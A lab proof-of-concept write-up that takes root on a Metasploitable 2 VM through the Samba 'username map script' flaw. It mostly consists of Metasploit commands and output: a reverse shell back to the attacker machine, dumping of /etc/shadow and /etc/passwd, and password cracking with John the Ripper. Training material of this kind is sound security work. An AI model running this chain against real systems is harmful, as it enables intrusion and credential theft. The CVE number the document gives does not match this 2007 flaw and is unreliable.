

PROOF OF CONCEPT

Samba Usermap Script RCE (Metasploitable Linux 2.0.0)

Vulnerability Brief

NAME: Samba Usermap Script RCE

CVE-ID: [CVE-2015-0240](#)

AFFECTED SERVICE: SAMBA

AFFECTED VERSION: 3.0.20

TYPE: Remote Command Execution [via malicious username map script]

PRIVILEGE GAINED: Root

AUTHENTICATION REQUIRED: No

Target Environment

Component	Details
OS	Metasploitable Linux v2.0.0
Vulnerable App	Samba Usermap Script RCE
IP Address	192.168.27.131
Port	139

Attacker Environment

Component	Details
OS	Kali Linux
Tools Used	Metasploit, Nmap
IP Address	192.168.27.130

Steps to exploit

1. Check Host IP Address

```
(kali㉿kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.27.130 netmask 255.255.255.0 broadcast 192.168.27.255  
    inet6 fe80::20c:29ff:fee8:7811 prefixlen 64 scopeid 0x20<link>  
    ether 00:0c:29:e8:78:11 txqueuelen 1000 (Ethernet)  
    RX packets 2751 bytes 2396936 (2.2 MiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 1396 bytes 319608 (312.1 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 10 bytes 580 (580.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 10 bytes 580 (580.0 B)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

2. Check Target IP Address

```
root@metasploitable:/home/msfadmin# ifconfig  
eth0      Link encap:Ethernet HWaddr 00:0c:29:5d:08:37  
          inet addr:192.168.27.131 Bcast:192.168.27.255 Mask:255.255.255.0  
          inet6 addr: fe80::20c:29ff:fe5d:837/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
          RX packets:75 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:103 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:7894 (7.7 KB) TX bytes:14178 (13.8 KB)  
          Interrupt:17 Base address:0x2000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1 Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING MTU:16436 Metric:1  
          RX packets:251 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:251 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:96033 (93.7 KB) TX bytes:96033 (93.7 KB)
```

3. Check ports on target machine using following Nmap command:

```
nmap -sV -Pn 192.168.27.131
```

[sV = service detection | Pn = skip host discovery]

```
(kali@kali)-[~]
$ nmap -sV -Pn 192.168.27.131
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 12:55 IST
Nmap scan report for 192.168.27.131
Host is up (0.0026s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login          OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:5D:08:37 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds
```

4. Study each possible exploitable port.
5. Upon inspection, port 139 TCP contains SAMBA as a service which in our POC is an exploitable port.

```
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
```

6. Now enable Metasploit using 'msfconsole' command.
7. For checking the ranking and availability of the exploit run following command:
search samba

```
msf6 > search samba usermap

Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
```

8. Load appropriate module:
use exploit/multi/samba/usermap_script
9. Run command 'show options' to see configurable settings of target machine.

```

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.27.130  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

```

10. Configure target machine settings as follows:
set RHOSTS 192.168.27.131
11. Configure host machine IP for reverse shell as follows:
set LHOST 192.168.27.130
12. Configure payload for the exploit:
set PAYLOAD cmd/unix/reverse
13. Configure port of host machine IP as follows:
set LPORT 4444

```

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.27.131
RHOSTS => 192.168.27.131
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.27.130
LHOST => 192.168.27.130
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.27.131  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.27.130  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

```

14. All settings upon being set can then be used to perform exploit by using the either of the two commands “run” or “exploit”.

RESULT

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 192.168.27.130:4444
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo 9xvrE38n1TTThBBX;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n9xvrE38n1TTThBBX\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.27.130:4444 → 192.168.27.131:52864) at 2025-06-20 17:56:35 +0530
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

whoami
root

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

ls /root
Desktop
reset_logs.sh
vnc.log
```


DEMONSTRATION OF ACCESS TO TARGET MACHINE

- Accessing /etc directory and seeing potentially important files:
 - a. Showcase of file permissions on Target Machine

```
ls -la /etc
total 1112
drwxr-xr-x 94 root    root    4096 Jun 20 05:25 .
drwxr-xr-x 21 root    root    4096 May 20 2012 ..
-rw-r--r-- 1 root    root      0 Mar 16 2010 .pwd.lock
drwxr-xr-x 10 root    root    4096 May 20 2012 X11
-rw-r--r-- 1 root    root    2975 Mar 16 2010 adduser.conf
-rw-r--r-- 1 root    root      44 May 20 2012 adjtime
-rw-r--r-- 1 root    root      53 Mar 16 2010 aliases
-rw-r--r-- 1 root    root   12288 Apr 28 2010 aliases.db
drwxr-xr-x 2 root    root   12288 May 20 2012 alternatives
drwxr-xr-x 7 root    root    4096 May 20 2012 apache2
drwxr-xr-x 3 root    root    4096 Mar 16 2010 apm
drwxr-xr-x 2 root    root    4096 Mar 16 2010 apparmor
drwxr-xr-x 6 root    root    4096 Mar 17 2010 apparmor.d
drwxr-xr-x 4 root    root    4096 Apr 16 2010 apt
-rw-r--r-- 1 root    daemon   144 Feb 20 2007 at.deny
-rw-r--r-- 1 root    root   1733 Apr 14 2008 bash.bashrc
-rw-r--r-- 1 root    root  216529 Apr 14 2008 bash_completion
drwxr-xr-x 2 root    root    4096 Apr 28 2010 bash_completion.d
drwxr-xr-x 2 root    root    4096 Mar 16 2010 belocs
drwxr-sr-x 2 root    bind    4096 Mar 17 2010 bind
-rw-r--r-- 1 root    root    332 Apr  4 2008 bindresvport.blacklist
-rw-r--r-- 1 root    root    530 Apr 28 2010 blkid.tab
-rw-r--r-- 1 root    root    530 Apr 28 2010 blkid.tab.old
drwxr-xr-x 2 root    root    4096 Mar 16 2010 calendar
drwxr-s-- 2 root    dip     4096 Mar 16 2010 chatscripts
drwxr-xr-x 2 root    root    4096 Mar 16 2010 console-setup
drwxr-xr-x 2 root    root    4096 Mar 16 2010 console-tools
-rw-r--r-- 1 root    root   1878 May  4 2008 cowpoke.conf
drwxr-xr-x 2 root    root    4096 May 14 2012 cron.d
drwxr-xr-x 2 root    root    4096 Apr 28 2010 cron.daily
drwxr-xr-x 2 root    root    4096 Mar 16 2010 cron.hourly
drwxr-xr-x 2 root    root    4096 Apr 28 2010 cron.monthly
drwxr-xr-x 2 root    root    4096 Mar 16 2010 cron.weekly
-rw-r--r-- 1 root    root    724 Apr  8 2008 crontab
drwxr-xr-x 2 root    root    4096 Mar  4 2010 cups
-rw-r--r-- 1 root    root   2969 Mar 11 2008 debconf.conf
-rw-r--r-- 1 root    root     10 Oct 20 2007 debian_version
drwxr-xr-x 2 root    root    4096 May 13 2012 default
drwxr-xr-x 4 root    root    4096 Mar 23 2010 defoma
-rw-r--r-- 1 root    root    600 Oct 23 2007 deluser.conf
drwxr-xr-x 2 root    root    4096 Mar 16 2010 depmod.d
-rw-r--r-- 1 root    root  15280 Apr 28 2010 devscripts.conf
drwxr-xr-x 4 root    root    4096 Mar 16 2010 dhcp3
drwxr-xr-x 2 root    root    4096 Apr 17 2010 distcc
drwxr-xr-x 3 root    root    4096 Mar 23 2010 dpkg
-rw-r--r-- 1 root    root     34 Feb 18 2008 e2fsck.conf
drwxr-xr-x 3 root    root    4096 Apr 28 2010 emacs
```

b. Hosts directory and resolv.conf file contents

```
cat /etc/hosts
127.0.0.1      localhost
127.0.1.1      metasploitable.localdomain    metasploitable

# The following lines are desirable for IPv6 capable hosts
::1           ip6-localhost ip6-loopback
fe00::0       ip6-localnet
ff00::0       ip6-mcastprefix
ff02::1       ip6-allnodes
ff02::2       ip6-allrouters
ff02::3       ip6-allhosts

cat /etc/resolv.conf
search localdomain
nameserver 192.168.27.2
```

- Creating a text file on desktop:

a. Checking current directory contents on host

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

cd root

ls
Desktop
reset_logs.sh
vnc.log

cd Desktop

ls
```

- b. Checking on target machine contents of Desktop

```
root@metasploitable:~/Desktop# ls
root@metasploitable:~/Desktop#
```

- c. Creating a folder on host machine

```
mkdir test
ls
test
cd test
ls
```

- d. Checking creation of directory on target machine

```
root@metasploitable:~/Desktop# ls
test
root@metasploitable:~/Desktop#
```

- e. Creating a text file on Desktop using Host machine

```
echo "Hello, World" > hacked.txt
ls
hacked.txt
cat hacked.txt
Hello, World
```

- f. Checking creation of text file on target machine and contents of file

```
root@metasploitable:~/Desktop# cd test
root@metasploitable:~/Desktop/test# ls
hacked.txt
root@metasploitable:~/Desktop/test# cat hacked.txt
Hello, World
root@metasploitable:~/Desktop/test# _
```


- Dumping Password Hashes from **/etc/shadow** and **/etc/passwd**:
 - a. Checking potential passwords for cracking on target machine:

```
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7 :::
daemon*:14684:0:99999:7 :::
bin*:14684:0:99999:7 :::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7 :::
sync*:14684:0:99999:7 :::
games*:14684:0:99999:7 :::
man*:14684:0:99999:7 :::
lp*:14684:0:99999:7 :::
mail*:14684:0:99999:7 :::
news*:14684:0:99999:7 :::
uucp*:14684:0:99999:7 :::
proxy*:14684:0:99999:7 :::
www-data*:14684:0:99999:7 :::
backup*:14684:0:99999:7 :::
list*:14684:0:99999:7 :::
irc*:14684:0:99999:7 :::
gnats*:14684:0:99999:7 :::
nobody*:14684:0:99999:7 :::
libuuid!:14684:0:99999:7 :::
dhcp*:14684:0:99999:7 :::
syslog*:14684:0:99999:7 :::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7 :::
sshd*:14684:0:99999:7 :::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7 :::
bind*:14685:0:99999:7 :::
postfix*:14685:0:99999:7 :::
ftp*:14685:0:99999:7 :::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7 :::
mysql!:14685:0:99999:7 :::
tomcat55*:14691:0:99999:7 :::
distccd*:14698:0:99999:7 :::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7 :::
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7 :::
telnetd*:14715:0:99999:7 :::
proftpd!:14727:0:99999:7 :::
statd*:15474:0:99999:7 :::
test:$1$uPkIQvHs$NaNXXcQ2nRXqJfSiCK/64/:20257:0:99999:7 :::
```

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
test:x:1003:1003::/home/test:/bin/sh
```

- b. Creating a text file named “hash.txt” on attacking machine and saving contents of both files on it.

```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
3 bin:x:2:2:bin:/bin:/bin/sh
4 sys:x:3:3:sys:/dev:/bin/sh
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/bin/sh
7 man:x:6:12:man:/var/cache/man:/bin/sh
8 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
9 mail:x:8:8:mail:/var/mail:/bin/sh
10 news:x:9:9:news:/var/spool/news:/bin/sh
11 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
12 proxy:x:13:13:proxy:/bin:/bin/sh
13 www-data:x:33:33:www-data:/var/www:/bin/sh
14 backup:x:34:34:backup:/var/backups:/bin/sh
15 list:x:38:38:Mailing List Manager:/var/list:/bin/sh
16 irc:x:39:39:ircd:/var/run/ircd:/bin/sh
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
18 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
19 libuuid:x:100:101::/var/lib/libuuid:/bin/sh
20 dhcp:x:101:102::/nonexistent:/bin/false
21 syslog:x:102:103::/home/syslog:/bin/false
22 klog:x:103:104::/home/klog:/bin/false
23 sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
24 msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
25 bind:x:105:113::/var/cache/bind:/bin/false
26 postfix:x:106:115::/var/spool/postfix:/bin/false
27 ftp:x:107:65534::/home/ftp:/bin/false
28 postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
29 mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
30 tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
31 distccd:x:111:65534:::/bin/false
32 user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash
33 service:x:1002:1002,,,:/home/service:/bin/bash
34 telnetd:x:112:120::/nonexistent:/bin/false
35 proftpd:x:113:65534::/var/run/proftpd:/bin/false
```

- c. Using ‘John the ripper’, cracking the passwords saved on hash.txt.

```
(kali@kali)-[~]
$ john hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 8 password hashes with 8 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user          (user)
test          (test)
service       (service)
postgres      (postgres)
msfadmin      (msfadmin)
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789     (klog)
batman       (sys)
```

From above image we can note that the main users on target machine are: user, test, service, postgres & msfadmin along-with two more external candidate users and their passwords.

Accessing /etc/passwd and /etc/shadow proves:

- You have **root-level access**
- The system is **completely compromised**
- You can extract **hashes for offline password cracking**

IMPACT

- Remote code execution as root without authentication.
- Attacker can install backdoors, exfiltrate files and escalate in network.

MITIGATIONS

- Disable or remove Samba if not needed
- Patch to a newer Samba version
- Restrict ports 139/445 using firewall rules